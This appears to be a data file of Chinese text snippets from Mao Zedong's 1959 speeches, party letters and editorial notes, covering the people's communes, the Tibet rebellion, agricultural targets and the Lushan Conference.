    {"text": "目前我们的任务，就是要向广大干部讲清道理，经过充分的酝酿和讨论，使他们得到真正的了解，然后我们和他们一起，共同妥善地坚决地纠正这些倾向，克服平均主义，改变权力、财力、人力过分集中于公社一级的状态。"},
    {"text": "当然，这里面不包括公共积累、集体福利、经全体社员同意和上级党组织批准的某些统一分配办法，如粮食供给制等，这些都不属于无偿占有性质。"},
    {"text": "二、二月二十八日的讲话 ——公社不允许有脱产的文工团 劳动分配，现在极为不合理，农业（包括农、林、牧、副、渔）分配太少，而工业，行政人员和服务行业的人员太多（有的多到百分之三十到百分之四十），必须坚决的减下来。"},
    {"text": "中国从张之洞办工业以来产业工人只有四百万，解放以来平均每年增长一百万，即八百万，共一千二百万，而去年一年增了二千六百万，再加上各行各业转过来转过去的四百万，共为三千万，突然增加三千万，一则一喜，一则一忧。"},
    {"text": "现在银行不投资农业，我建议每年增加十亿，十年搞一百亿无利长期贷款，主要支援贫队，一部购买大型农具，十年之后国有化了，就变为国家投资了，忽然一股风，一平、二调、三提款，破坏经济秩序，许多产品归社不归队。"},
    {"text": "富队里有富人，吃饭不要钱就侵占了一部分，这个问题要想办法解决，一平、二调、三收款，就是根本否定价值法则和等价交换，是不能持久的。"},
    {"text": "过去汉族同少数民族是不等价交换，剥削他们，那时不等价还出了一点价，现在一点价也不给，有一点就拿走，这是个大事，民心不安，军心也就不安，甚至征购粮款也被公社拿走，国家出了钱，公社拦腰就抢。"},
    {"text": "瞒产私分很久了，开始在襄阳发现，刘子厚 〔4〕 谈话对我有很大启发，河北一月开党代会，开始搞共产主义，倾向于一曰大、二曰公，二月十三日就感到有问题，决心改变主意，但还没有接触到所有制问题。"},
    {"text": "进而进行神经战，一顶帽子“本位主义”一框，你框农民就看出你没有办法了，他也不在乎，这一着神经战也不灵，一张条子，一把秤，一顶帽子三不灵后才受到了教育，才用一把钥匙，解决思想问题，但也没有接触到所有制，河南说“虽有本位主义情有可原，不予处分，不再上调”，安徽说“错是错了，但不算错”。"},
    {"text": "情者情况也，等价交换也，不是人家本位主义，而是我们上级犯了冒险主义，翻箱倒柜，“一平、二调、三收款”，一张条子，一把秤，一顶帽子，这是什么主义？"},
    {"text": "要承认三级所有制，重点是生产队所有制，“有人斯有土，有土斯有财”，所有人、土、财都在生产队，五亿农民都在生产队，上面只有几个工作人员。"},
    {"text": "我代表一千万队长级干部，五亿农民说话，坚持搞右倾机会主义，贯彻到底，你们不跟我来贯彻，我一人贯彻，直到开除党籍，也要到马克思那里告状。"},
    {"text": "要穷队赶上来，穷队变富队，穷变富每个省都可以找到例子，像王国藩那样，最大的希望是穷队，不能把苏联的钢砍给我们二千万吨，如果这样，苏联也好造反，世界上的事没有不交换的，人同自然界作斗争，也有交换，如人吃东西，吸空气，新陈代谢。"},
    {"text": "你不等价交换，我就坚决抵制，河南分配给农民百分之三十，瞒产私分百分之十五，共百分之四十五，否则就过不了生活，这是保卫他们的神圣权利，极为正确。"},
    {"text": "〔6〕 指毛泽东在一九五九年二月二十二日批转的一个重要文件，批示如下： 各省、市、区党委： 赵紫阳同志给广东省委关于解决粮食问题的信件及广东省委的批语 〔8〕 ，极为重要，现在转发你们。"},
    {"text": "公社大队长小队长瞒产私分粮食一事，情况严重，造成人心不安，影响广大基层干部的共产主义品德，影响春耕和一九五九年大跃进的积极性，影响人民公社的巩固，在全国是一个普遍存在的问题，必须立即解决。"},
    {"text": "但公社很大，各大队小队仍怕公社拿走队上的粮食，并且在秋收后已经瞒产私分了，故必须照雷南县那样宣布粮食和干部两条正确的政策，并举行一个坚决的教育运动，才能解决问题。"},
    {"text": "中 央 一九五九年二月二十二日 〔7〕 十大任务，是指一九五九年二月确定的一九五九年十大国庆建筑，最终确定的十大国庆工程项目是：人民大会堂、中国革命历史博物馆、中国人民革命军事博物馆、全国农业展览馆、北京火车站、工人体育场、民族文化宫、民族饭店、迎宾馆（钓鱼台国宾馆）、华侨大厦。"},
    {"text": "〔8〕 中共广东省委一九五九年一月三十一日转发赵紫阳报告的批语说：粮食问题必须解决，这是关系到今年生产跃进和整顿公社的最重要问题。"},
    {"text": "党内通信——建议召开县五级干部大会 党内通信 ——建议召开县五级干部大会 * （一九五九年三月十七日） 各省、市、区党委第一书记同志们： 关于县和公社的会议问题。 各省、市、区六级干部大会即将结束，是否应开县的四级或五级干部大会呢？我的意见应当开，并且应当大张旗鼓地开，只是一律不要登报。河南各县正在开四级干部大会，开得很热闹，很有益。河南省级负责同志正在直接领导几个县，以其经验，指导各县。湖北、广东、江苏，均已布置全省各县一律开会。江苏省的江阴县委，已经布置开万人大会。河南有两个县是万人大会，多数县是四五千人的。我建议县应召开五级干部大会，即县委一级，公社党委一级，生产大队（或管理区）一级，生产队（即原高级社）一级，生产小队（即生产组，又称作业组）一级，每级都要有代表参加，使公社的所有小队长，所有支部书记和生产队长，所有管理区的总支书记和生产大队长以及公社一级的若干干部都参加会议。一定要有思想不通的人，观潮派、算帐派的人参加，最好占十分之一。社员中的积极分子，也可以找少数人到会。使所有这些人，都听到县委第一书记的讲话，因为他的讲话，比一般公社第一书记的水平要高些。然后展开讨论，言者无罪，大放大鸣，有几天时间，将思想统一起来。要使三种对立面在会上交锋：一种，基层干部与他们上级（公社和县）之间交锋；一种，思想不通的人与思想已通的人之间交锋；一种，十分之一的观潮派算帐派（有许多被认为观潮派算帐派的人，其实并不是观潮派算帐派，他们被人看错了）与十分之九的正面人物之间交锋。辩论有三天至四天时间就够了。然后，再以三天至四天时间解决具体问题，共有七八天时间就很够了。县的五级大会一定会比省的六级大会开得更生动，更活跃。要告诉公社党委第一书记和县委第一书记如何做工作。在会中，专门召集这些同志讲一次，使他们从过去几个月中因为某些措施失当，吹共产风，一平二调三收款，暂时脱离了群众，这样一个尖悦的教训中，得到经验。以后要善于想问题，善于做工作，就可以与群众打成一片。应当讨论除公社、管理区（即生产大队）、生产队（即原高级社）三级所有、三级管理、三级核算之外，生产小队（生产小组或作业组）的部分所有制的问题，这个问题是王任重、陶鲁笳 〔1〕 两位同志提出来的。我认为有理，值得讨论。县的大会在三月下旬即可完结，四月一个整月可以不开公社的代表大会了，忙一个月生产，开些小会，解决些具体问题，由各生产队在工作余暇，召开党员大会，再开群众大会，形成全民讨论。因为每个公社都有几百人在县里开过会了，问题已讲透了，可以直接进行工暇全民讨论。湖北已有些县在进行全民讨论。到五月间，全国各公社抽出三天时间（三天尽够了），开人民公社第一次社员代表大会，代表要有男的，女的，老的，少的，正面的，反面的（不要地富反坏，但要有富裕中农），讨论一些问题，选举公社管理委员会。这种代表大会，建议一年开四次，每次一天，二天，至多三天。公社第一书记要学会善于领导这种会议。我们的公社党委书记同志们，一定要每日每时关心群众利益，时刻想到自己的政策措施一定要适合当前群众的觉悟水平和当前群众的迫切要求。凡是违背这两条的，一定行不通，一定要失败。县委和地委都要注意加强公社的领导，要派政治上强的同志，去帮助政治上较弱的公社同志。地委要注意派人帮助领导较弱的县委。县和公社都要注意加强作为基本核算单位的生产队（一般是原来高级社）的领导骨干。以上只是当作建议，究竟如何处理较为适宜，请你们考虑决定，迅即施行。县开会时，公社各级都要留人领导生产，或交替到会，不误农时。 注 释 * 这是毛泽东同志关于召开县的五级干部大会和人民公社第一次社员代表大会问题给各省、市、自治区党委第一书记的一封信，题目是毛泽东拟的。 〔1〕 王任重，时任中共湖北省委第一书记。陶鲁笳，时任中共山西省委第一书记。"},
    {"text": "关于西藏平叛<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a> 关于西藏平叛 〔1〕 * （一九五九年四月十五日） 有些人对于西藏寄予同情，但是他们只同情少数人，不同情多数人，一百个人里头，同情几个人，就是那些叛乱分子，而不同情百分之九十几的人。"},
    {"text": "至于贵族，对那些站在进步方面主张改革的革命的贵族，以及还不那么革命、站在中间动动摇摇但不站在反革命方面的中间派，我们采取什么态度呢？"},
    {"text": "比如我们中央人民政府把他们的生活包下来，你横直剥削农奴也是得到那么一点，中央政府也给你那么一点，你为什么一定要剥削农奴才舒服呢？"},
    {"text": "我看，西藏的农奴制度，就像我们春秋战国时代那个庄园制度，说奴隶不是奴隶，说自由农民不是自由农民，是介乎这两者之间的一种农奴制度。"},
    {"text": "贵族坐在农奴制度的火山上是不稳固的，每天都觉得要地震，何不舍掉算了，不要那个农奴制度了，不要那个庄园制度了，那一点土地不要了，送给农民。"},
    {"text": "现在是平叛，还谈不上改革，将来改革的时候，凡是革命的贵族，以及中间派动动摇摇的，总而言之，只要是不站在反革命那边的，我们不使他吃亏，就是照我们现在对待资本家的办法。"},
    {"text": "他隔那么远，认真地写一篇文章，说西藏这个地方没有二十万军队是平定不了的，而这二十万军队，每天要一万吨物资，不可能运这么多去，西藏那个山高得不得了，共产党的军队难得去。"},
    {"text": "英国人最鬼，英国外交大臣劳埃德，工党议员这个一问，那个一问，他总是一问三不知，说：没有消息，我们英国跟西藏没有接触，在那里没有人员，因此我无可奉告。"},
    {"text": "〔1〕 一九五九年三月十日，西藏上层反动集团在外国势力支持下，蓄意破坏《关于和平解放西藏办法的协议》的实行，公开宣布“西藏独立”。"},
    {"text": "〔5〕 定息，是我国在资本主义工商业实行全行业公私合营后，对民族资本家的生产资料进行赎买的一种形式，即不论企业盈亏，统一由国家每年按照合营时清产核资确定的私股股额，发给资本家固定的利息（一般是年息百分之五）。"},
    {"text": "〔10〕 一九五四年四月二十九日，中国和印度两国政府在北京签订了《中印关于中国西藏地方和印度之间的通商和交通协定》。 协定明确以和平共处五项原则为指导两国关系的准则，并以此确定了促进中国西藏地方和印度之间的通商贸易及便利两国人民互相朝圣往来的各项具体办法。"},
    {"text": "〔11〕 指《人民日报》一九五九年三月三十日发表的达赖喇嘛三月十一日、十二日、十六日先后写给中央驻西藏代理代表、西藏军区政治委员谭冠三的三封信。"},
    {"text": "三月十一日的信中说：“昨天我决定去军区看戏，但由于少数坏人的煽动，而僧俗人民不解真相追随其后，进行阻拦，确实无法去访，使我害羞难言，忧虑交加，而处于莫知所措的境地。"},
    {"text": "”三月十六日的信中说：“现在此间内外的情况虽然仍很难处置，但我正在用巧妙的办法，在政府官员中从内部划分进步与反对革命的两种人的界线。"},
    {"text": "党内通信——致六级干部的公开信 党内通信 ——致六级干部的公开信 * （一九五九年四月二十九日） 省级、地级、县级、社级、队级、小队级的同志们： 我想和同志们商量几个问题，都是关于农业的。 第一个问题，包产问题。南方正在插秧，北方也在春耕。包产一定要落实。根本不要管上级规定的那一套指标。不管这些，只管现实可能性。例如，去年亩产实际只有三百斤的，今年能增产一百斤、二百斤，也就很好了。吹上八百斤、一千斤、一千二百斤，甚至更多，吹牛而已，实在办不到，有何益处呢？又例如，去年亩产五百斤的，今年增加二百斤、三百斤，也就算成绩很大了。再增上去，就一般说，不可能的。 第二个问题，密植问题。不可太稀，不可太密。许多青年干部和某些上级机关缺少经验，一个劲儿要密。有些人竟说愈密愈好。不对。老农怀疑，中年人也有怀疑的。这三种人开一个会，得出一个适当密度，那就好了。既然要包产，密植问题就得由生产队、生产小队商量决定。上面死硬的密植命令，不但无用，而且害人不浅。因此，根本不要下这种死硬的命令。省委可以规定一个密植幅度，不当作命令下达，只给下面参考。此外，上面要精心研究到底密植程度以何为好，积累经验，根据因气候不同，因地点不同，因土、肥、水、种等条件不同，因各种作物的情况不同，因田间管理水平高低不同，做出一个比较科学的密植程度的规定，几年之内达到一个实际可行的标准，那就好了。 第三个问题，节约粮食问题。要十分抓紧，按人定量，忙时多吃，闲时少吃，忙时吃干，闲时半干半稀，杂以番薯、青菜、萝卜、瓜豆、芋头之类。此事一定要十分抓紧。每年一定要把收割、保管、吃用三件事（收、管、吃）抓得很紧很紧，而且要抓得及时。机不可失，时不再来。一定要有储备粮，年年储一点，逐年增多。经过十年八年奋斗，粮食问题可能解决。在十年内，一切大话、高调，切不可讲，讲就是十分危险的。须知我国是一个有六亿五千万人口的大国，吃饭是第一件大事。 第四个问题，播种面积要多的问题。少种、高产、多收的计划，是一个远景计划，是可能的，但在十年内不能全部实行，也不能大部实行。十年以内，只能看情况逐步实行。三年以内，大部不可行。三年以内，要力争多种。目前几年的方针是：广种薄收与少种多收（高额丰产田）同时实行。 第五个问题，机械化问题。农业的根本出路在于机械化，要有十年时间。四年以内小解决，七年以内中解决，十年以内大解决。今年、明年、后年、大后年这四年内，主要依靠改良农具、半机械化农具。每省每地每县都要设一个农具研究所，集中一批科学技术人员和农村有经验的铁匠木匠，搜集全省、全地、全县各种比较进步的农具，加以比较，加以试验，加以改进，试制新式农具。试制成功，在田里实验，确实有效，然后才能成批制造，加以推广。提到机械化，用机械制造化学肥料这件事，必须包括在内。逐年增加化学肥料，是一件十分重要的事。 第六个问题，讲真话问题。包产能包多少，就讲能包多少，不讲经过努力实在做不到而又勉强讲做得到的假话。收获多少，就讲多少，不可以讲不合实际情况的假话。对各项增产措施，对实行八字宪法 〔1〕 ，每项都不可讲假话。老实人，敢讲真话的人，归根到底，于人民事业有利，于自己也不吃亏。爱讲假话的人，一害人民，二害自己，总是吃亏。应当说，有许多假话是上面压出来的。上面“一吹二压三许愿”，使下面很难办。因此，干劲一定要有，假话一定不可讲。 以上六件事，请同志们研究，可以提出不同意见，以求得真理为目的。我们办农业工业的经验还很不足。一年一年积累经验，再过十年，客观必然性可能逐步被我们认识，在某种程度上，我们就有自由了。什么叫自由？自由是必然的认识。 同现在流行的一些高调比较起来，我在这里唱的是低调，意在真正调动积极性，达到增产的目的。如果事实不是我讲的那样低，而达到了较高的目的，我变为保守主义者，那就谢天谢地，不胜光荣之至。 注 释 * 这是毛泽东同志关于农业方面六个问题给省级、地级、县级、社级、队级、小队级干部们的一封信，题目是毛泽东拟的。 〔1〕 八字宪法，指毛泽东一九五八年提出的农作物增产的八项措施，即土、肥、水、种（推广良种）、密（合理密植）、保（植物保护，防治病虫害）、管（田间管理）、工（工具改革）。"},
    {"text": "〔4〕 指炮击金门：一九五八年七月，台湾国民党当局在美国的支持下叫嚷“反攻大陆”，并不断炮击福建沿海村镇。 为严惩国民党军，反对美国侵犯中国主权，人民解放军福建前线部队奉命于八月二十三日开始对国民党军金门防卫部和炮兵阵地等军事目标进行炮击，封锁了金门岛，中断国民党军的补给。"},
    {"text": "至一九五九年一月七日，共进行七次大规模炮击，十三次空战，三次海战，击落击伤国民党军飞机三十六架，击沉击伤军舰十七艘，毙伤国民党军七千余人。"},
    {"text": "一九五五年四月二十三日，周恩来总理在亚非会议八国代表团团长会议上声明：中国政府愿意同美国政府谈判，讨论和缓远东紧张局势问题，特别是和缓台湾地区紧张局势问题。"},
    {"text": "经济建设是科学，要老老实实学习 经济建设是科学， 要老老实实学习 * （一九五九年六月十一日） 中国是个经济不发达的国家，工农业水平不高，有许多人是文盲。我们现在正在积极组织自己的经济，积极做提高人民文化水平的工作，发展我们的工业，使农业用机器装备起来。现在工作才开始做，仅仅是开始。至于做出成绩来，那需要时间，需要朋友的帮助，不是很短时间内所能做到的。我们这样一个大国要提高经济、文化水平，建设现代化的工业、农业和文化教育，需要一个过程。我们现在提出了“多、快、好、省”这个建设经济、文化的口号。可以快一点，但不可能很快，想很快是吹牛皮，你们不会相信，我也不相信。比如走路，总要花些时间。我们已经干了十年了，但是如你们所知道的，我们工业才这么一点，农业还是手工业式的，也许再有十年才会有些进步。中国不仅要自己料理自己，自己过生活，还应该对别的国家和民族进行帮助，对世界有些益处。同别的国家一样，不仅要为自己而且还要对世界做些贡献。和别的国家互相帮助，发展经济关系，尤其是我们亚洲、非洲、拉丁美洲国家之间互相了解、交流经验，很有必要。搞经济关门是不行的，需要交换。中美、南美有二十个国家，同亚洲的国家例如中国发生经济联系是可能的，文化上的联系也是可能的，互相交换有益的东西。日本是亚洲国家，是我们的邻国，我们同他们打过仗，最近关系也不大好，但是人民间的交往还是有的，现在还有日本民间代表团在中国访问。虽然中国和日本没有外交关系，日本政府对我们不友好，但两国人民还是互相来往，人民间互相来往很自由、很自然。有可能的话，我们还会派代表团去南美洲访问你们国家的。 过去干的一件事叫革命，现在干的叫建设，是新的事，没有经验。怎么搞工业，比如炼铁、炼钢，过去就不大知道。这是科学技术，是向地球开战，当然这只是向地球上的中国部分开战，不会向你们那里开战。如果对自然界没有认识，或者认识不清楚，就会碰钉子，自然界就会处罚我们，会抵抗。比如水坝，如修得不好，质量不好，就会被水冲垮，将房屋、土地都淹没，这不是处罚吗？ 可以告诉你们，我们真正认真搞经济工作，是从去年八月才开始的 〔1〕 。我就是一个。去年八月前，主要不是搞建设，而是搞革命。许多同志都是这样，把重点放在革命、社会改革上，而不是放在改造自然界方面。在与自然界作斗争方面，我们的第一个先生是苏联，我们首先要学习苏联，但是美国也是我们的先生。美国炼的钢含硫量是百分之零点零四，我们只有个别地方炼的钢含硫量达到百分之零点零三七，大部分地方炼的钢质量不好。这是新问题，不能调皮，要老老实实学习。如果粗心大意、调皮、充好汉，一定会跌跤子的。革命事业是不容易的，是科学，经济建设也是科学。 搞社会主义建设，很重要的一个问题是综合平衡。比如社会主义建设需要钢、铁等种种东西，缺一样就不能综合平衡。我们有些人办事时总是忘了一两个条件。比如炼铁，没有耐火砖不行，于是他们就把原来做盘子用的陶土拿去搞耐火砖，这样盘子就不够了，因此就要到另外地方去找耐火材料，把原来的陶瓷生产恢复起来。这个事情是很复杂的，每个行业都会有这样的事情。工业、农业、商业、交通事业都可能碰到。农业也要综合平衡，农业包括农、林、牧、副、渔五个方面。 中国有希望就是了。这还要靠你们帮助，靠世界上爱好和平人民的帮助，最主要的是保持和平环境，这是大家的最大利益。你们要和平，我们也是这样。 注 释 * 这是毛泽东同志同秘鲁议员团谈话的节录。 〔1〕 一九五八年八月十七日至三十日在北戴河召开的中共中央政治局扩大会议主要讨论了一九五九年的国民经济计划以及工业生产、农业生产、农村工作和商业工作等问题。会议作出《中共中央关于一九五九年计划和第二个五年计划问题的决定》和《中共中央关于在农村建立人民公社问题的决议》。"},
    {"text": "要政治家办报 要政治家办报 * （一九五九年六月十三日） 现在名气很糟。去年大出风头，今年不好，说我们是纸老虎，不讲信用。 这很好。 不仅敌人，而且朋友 〔1〕 也觉得我们不行。去年名气很大，人人怕我们，不但美英怕我们，很惊慌，朋友也怕，他们也感到了压力，为什么能这么跃进？现在不太怕了。英国说，三十年内中国不是值得重视的力量。朋友还说，中国不是高速度，说话不那么拘谨了。我们自己不那么神气了。 去年三月，我在成都曾说：不要务虚名而得实祸。 去年从九月开始一直被动。大家头脑发胀，要搞四亿吨钢，大谈共产主义。去年十一月到郑州才发现，我狠狠批评了一下。当时大家都在风头上，要把指标从三千万吨落到二千万吨，也难。我在武汉会议上曾提，不要搞一千八百万吨也好，一千五百万吨也成。马克思写《资本论》一百年了，看来经验要自己取得。法则不能违反，要学习政治经济学第三版。过去学了就完了，谁也没有注意价值法则，违反了它就头破血流。 现在失了信用，不要紧。苦战一年，再加一年。那时宣布跃进成绩，现在不要更正，将来再说。 人民日报办得比过去好，老气没有了。但吹的太大，有办成中央日报的危险，新华社也有办成中央社的危险。 人民日报，我只看一些消息，但“参考资料”、“内部参考”，每天必看。“内部参考”是个好刊物，要改进，不要只看现象。大局在“内部参考”。怎样把“内部参考”变成报纸，是你们的工作。 “新闻工作动向”是好刊物。有一期反映了日本专家的意见，这很好。太照顾对象也不好。要吸引人看，要吸引人听。“新闻工作动向”上地方报纸提出的问题，这些问题要多反映。有的读者反对解放日报的编辑，读者是对的。口径不一致，是解放日报对还是毛主席对？ 〔2〕 新闻工作，要看是政治家办，还是书生办。有些人是书生，书生最大的缺点是多谋寡断。刘备、孙权、袁绍，都有这个缺点，曹操就多谋善断。 搞新闻工作，要政治家办报。你到人民日报工作，要有充分思想准备，要准备遇到最坏情况，要有“五不怕”的精神准备。这“五不怕”就是：一不怕撤职，二不怕开除党籍，三不怕离婚。四不怕坐牢，五不怕杀头。有了这五不怕的准备，就敢于实事求是，敢于坚持真理了。 撤职和开除党籍并不罕见，要准备着。杀头在正确路线领导下大概不至于，现在的中央不同于王明左倾路线领导，也不同于张国焘。但对坐牢得有精神准备。共产党内一时受冤屈的事还是有的，不过在正确路线领导下终究会平反纠正的。一个共产党员要经得起受到错误的处分，可能这样对自己反而有益处。 你们要政治家办报，不要书生办报。 注 释 * 这是毛泽东同志同吴冷西的谈话要点。 〔1〕 朋友：指当时苏联领导人赫鲁晓夫。 〔2〕 这里所说的材料，都在“新闻工作动向”第四十五期上，本书略。 如实公开报道灾情 如实公开报道灾情 * 一、如实公开报道灾情 （一九五九年六月二十日） 乔木、冷西 〔1〕 同志： 广东大雨，要如实公开报道。全国灾情，照样公开报道，唤起人民全力抗争。一点也不要隐瞒。政府救济，人民生产自救，要大力报道提倡。工业方面重大事故灾害，也要报道，讲究对策。此件 〔2〕 阅后退回。 二、印发河南、湖北两省 关于抗旱情况报告的批语 （一九五九年八月二日） 此两件 〔3〕 印发各同志。今年旱区达五六省，情况严重。广大群众在党领导下的伟大的抗旱斗争，已经起来。吴冷西同志：各省旱情及抗旱斗争，请令新华社如实报导，鼓干劲，一定要把抗旱抗到底，人定胜天，争取丰收。反对一切悲观失望情绪。 注 释 * 这是毛泽东在两文件上写的批语。 〔1〕 乔木，即胡乔木（一九一二——一九九二），江苏盐城人，时任中共中央书记处候补书记、毛泽东的秘书。冷西，即吴冷西，一九一九年生，广东新会人，时任新华通讯社社长、《人民日报》总编辑。 〔2〕 指新华通讯社一九五九年六月十八日编印的《内部参考》第二八〇一期。这一期登载了《广东水灾继续发展，全省工作中心转入抗洪救灾》和《广州市人民极度关心汛情的发展》两篇报道。 〔3〕 指中共河南省委一九五九年七月三十日关于抗旱保苗情况给中央、国务院的简报和中共湖北省委七月二十八日关于抗旱情况给中央的报告。河南省委的简报说，我省进入七月以来，普遍呈现旱象，而且日趋严重。呈现旱象初期，省委就发出了抗旱保苗争取秋季丰收的紧急指示，各级党委立即投入了抗旱斗争。现在群众性的抗旱保苗运动已经形成高潮，取得了一定成绩。目前，旱象仍在向严重方向发展，抗旱保苗斗争进入艰苦阶段，省委要求必须同干旱斗争到底，保证抗旱斗争的彻底胜利。湖北省委的报告说，我省自七月以来，旱情发展非常迅速。省委决心要抗旱保丰收，已于七月十六日发出了关于防旱抗旱的紧急指示，十九日又召开了全省防旱抗旱紧急动员电话会议，明确以抗旱为当前工作的突出中心，提出了战胜灾害确保丰收的几个具体措施。"},
    {"text": "庐山会议<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a>讨论的十八个问题 庐山会议 〔1〕 讨论的十八个问题 * （一九五九年六月二十九日、七月二日） 一、读书。"},
    {"text": "有鉴于去年许多领导同志，县、社干部，对于社会主义经济问题还不大了解，不懂得经济发展规律，有鉴于现在工作中还有事务主义，所以应当好好读书。"},
    {"text": "对县、社干部，山东、河北的想法，是给他们编三本书：一本是好人好事的书，收集去年大跃进中敢于坚持真理、不随风倒，工作有前进的，不说谎、不浮夸、实事求是的例子，例如河北王国藩 〔4〕 ，山东菏泽一个生产队。"},
    {"text": "要注意质量，宁肯少些，但要好些、全些，各种各样都要有。 农业中，粮、棉、油、麻、丝、烟、茶、糖、菜、果、药、杂都要有。 工业中，要有轻工业、重工业，其中又要各样都有。"},
    {"text": "后年二千万吨，大后年二千一百万吨到二千三百万吨，可以赶上英国。 一九六二年二千五百万吨，可能少点，也可能多点，多了到二千八百万吨，少了到二千三百万吨也好。"},
    {"text": "在这几项原则下，把食堂办好，不要一轰而散，都搞垮了，保持百分之二十也好。 办食堂全国有两种办法：一为河南的积极维持，一为湖北的提倡自愿。"},
    {"text": "注 释 * 这是根据毛泽东一九五九年六月二十九日去庐山出席中共中央政治局扩大会议途中在船上同协作区主任委员的谈话和七月二日在庐山中央政治局常委扩大会上的讲话整理的。 〔1〕 一九五九年七月二日至八月一日在庐山召开的中共中央政治局扩大会议 〔2〕 指苏联科学院经济研究所编写的《政治经济学教科书》修订第三版下册（人民出版社一九五九年版）。 〔3〕 一九五八年十一月郑州会议期间，毛泽东写信给中央、省市自治区、地、县四级党委委员，建议读斯大林《苏联社会主义经济问题》、《马克思恩格斯列宁斯大林论共产主义社会》，同时提出也可以读苏联《政治经济学教科书》。"},
    {"text": "在庐山会议上的多次讲话、批语 在庐山会议上的 多次讲话、批语 （一九五九年七月十日、二十三日、二十六日、八月二日、十六日） 一、七月十日讲话 ——统一认识，搞好团结，承认错误 团结问题。"},
    {"text": "对形势的认识不一致，就不能团结，要党内团结，首先要把问题搞清楚，要思想统一。 有些同志对形势缺乏全面分析，要帮助他们认识，得的是什么，失的是什么。"},
    {"text": "要承认缺点错误，从一个局部来讲，从一个问题来讲，可能是十个指头，九个指头，七个指头，或者三个指头、两个指头，但是从全局来讲，只是一个指头的问题，从总的形势来讲，就是这样，九个指头和一个指头。"},
    {"text": "我同意同志们的意见，问题是公社运动，我到遂平详细地谈了两个多钟头，嵖岈山公社党委书记告诉我，七、八、九三个月，平均每天三千人参观，十天三万人才，三个月三十万人。"},
    {"text": "三个月当中，三十万朝山进香，这种广泛的群众运动，不能泼冷水，只能劝说：“同志们，你们的心是好的，事情难以办到，不能性急，要有步骤。"},
    {"text": "宋江的政府叫“忠义堂”，劫富济贫，理直气壮，可以拿起就走，拿的是土豪劣绅的，那个章程，我看可以的。 宋江 〔8〕 劫的是“生辰纲”，就是我们打土豪劫的是不义之财，“劫之无碍”，刮自农民，归到农民。"},
    {"text": "这也难，我少年、中学时代，也是一听到坏话就一肚子气，人不犯我，我不犯人，人若犯我，我必犯人，人先犯我，我后犯人，这个原则，现在也不放弃。"},
    {"text": "登七十万条，专登坏事，那就不是无产阶级了，那就是资产阶级国家了，就是资产阶级的章伯均的设计院了，当然在座没有人这样主张，我是用夸大说法。"},
    {"text": "假如办十件事，九件是坏的，都登在报刊上，一定灭亡，应当灭亡，那我就走，到农村去，率领农民推翻政府，你解放军不跟我走，我就找红军去。"},
    {"text": "重复五六年下半年、五七上半年犯错误同志的道路，他们不是右派，可是自己把自己抛到右派边缘去了，距右派还有三十公里，因为右派很欢迎这个论凋，现在有些同志的论调，右派不欢迎才怪。"},
    {"text": "我看在全国保持三分之一我就满意了，一讲这个，吴芝圃 〔12〕 就紧张了，不要怕，河南等省有百分之五十的食堂还在，那也可以试试看，不要搞掉，我是就全国范围来讲的。"},
    {"text": "取得经验，有些散了，还得恢复，食堂并不是我们发明的，是群众创造的，河北一九五六年公社化以前就有办的，一九五八年办得很快，曾希圣 〔13〕 说：食堂节省劳动力，我看还有一条，节省物质，如果没有后面这一条，就不能持久。"},
    {"text": "我是个中间派，河南、四川、湖北等是左派，可是有个右派出来了，科学院昌黎调查组说食堂没有一点好处，攻其一点，不及其余，学“登徒子好色赋”的办法。"},
    {"text": "……”登徒子是大夫，大夫就是今天的部长，是大部，如冶金部长，煤炭部长，还有什么农业部长，科学院调查组是攻其一点，不及其余，攻其一点的办法，无非是猪肉、头发卡子（少了）。"},
    {"text": "计划机关不只是计委，还有其它各部，还有地方，一个时期不管综合平衡。 地方可以原谅，计委同中央各部十年了，忽然在北戴河会议后开始不管了，名曰计划指标，等于不要计划，所谓不管计划，就是不要综合平衡，根本不去算要多少煤，要多少铁，要多少交通，煤铁不能自己走路，要车马运，这点没料到。"},
    {"text": "我不是开脱也是开脱，因为我不是计委主任，去年八月以前，主要精力放在革命方面，对建设根本外行，对工业计划一点不懂，在西楼（中南海西楼）时曾经说过不要写“英明领导”，管都没管还说什么英明？"},
    {"text": "以后我找大家谈话，有王鹤寿 〔15〕 也觉得可行，我六月讲一〇七〇万吨，后来去做，薄一波 〔16〕 建议搞在北戴河公报上，我觉得可行，从此闯下大祸，九千万人上阵，补贴四十亿，搞小土群、小洋群，“得不偿失”，“得失相当”等等说法，即由此而来。"},
    {"text": "口将言而嗫嚅，无非有各种顾虑，这个我看要改，有话就要讲，上半月顾虑甚多，现在展开了，有话讲出来了，记录为证，口说无凭，立此存照。"},
    {"text": "还讲过几条，甚至说不要怕坐班房，不要怕杀头，不要怕开除党籍，一个共产党员，高级干部，那么多的顾虑，有些人就是怕讲得不妥挨整，这叫“明哲保身”啊！"},
    {"text": "如果你们不赞成，你们就驳，说主席不能驳，我看不对，事实上已经纷纷在驳，不过不指名，江西党校，中央党校一些意见就是驳，说“始作俑者，其无后乎”。"},
    {"text": "我有两条罪状，一条叫一〇七〇万吨，大炼钢铁，你们赞成也可以给我分一点，但是始作俑者是我，推不掉，主要责任是我，人民公社，全世界反对，苏联也反对，还有总路线是虚的实的，你们分一点，见之于行动是工业、农业。"},
    {"text": "因此做出结论说，党犯了“左倾冒险主义”，“机会主义”的错误，而其根源在于一九五七年整风反右斗争没有“同时”反对左倾冒险主义的危险。"},
    {"text": "他认为几千万人上阵大炼钢铁损失极大而毫无效益，人民公社也是错误的，对基本建设极为悲观，对农业他提到水利，认为党的“左倾冒险主义、机会主义”错误是办水利引起的，他对前冬去春几亿农民在党的领导下大办水利没有好评。"},
    {"text": "他跟我们看见的另一些同志，他们对党和人民的工作基本上不是高兴，而是不满，对成绩估计很不足，对缺点估计过高，为现在的困难所吓倒、对干部不是鼓劲而是泄气，对前途信心不足，甚至丧失信心，但是不愿意讲出自己的想法和看法，或者讲一点，留一点，而采取“足将进而趔趄，口将开而嗫嚅”，躲躲闪闪的态度大不相同。"},
    {"text": "因此我建议，将此信在中央一级和地方一级（省、市、自治区）共两级的党组织中，特别是计划机关中，予以传阅并且展开辩论，将一九五八年、一九五九年两年自己所做的工作的长短，利害得失，加以正确的分析，以利统一认识，团结同志，改善工作，鼓足干劲，奋勇前进，争取经济工作及其他工作（政治工作、军事工作、文教卫生工作、党的各级组织的领导工作，工、青，妇工作）的新的伟大胜利。"},
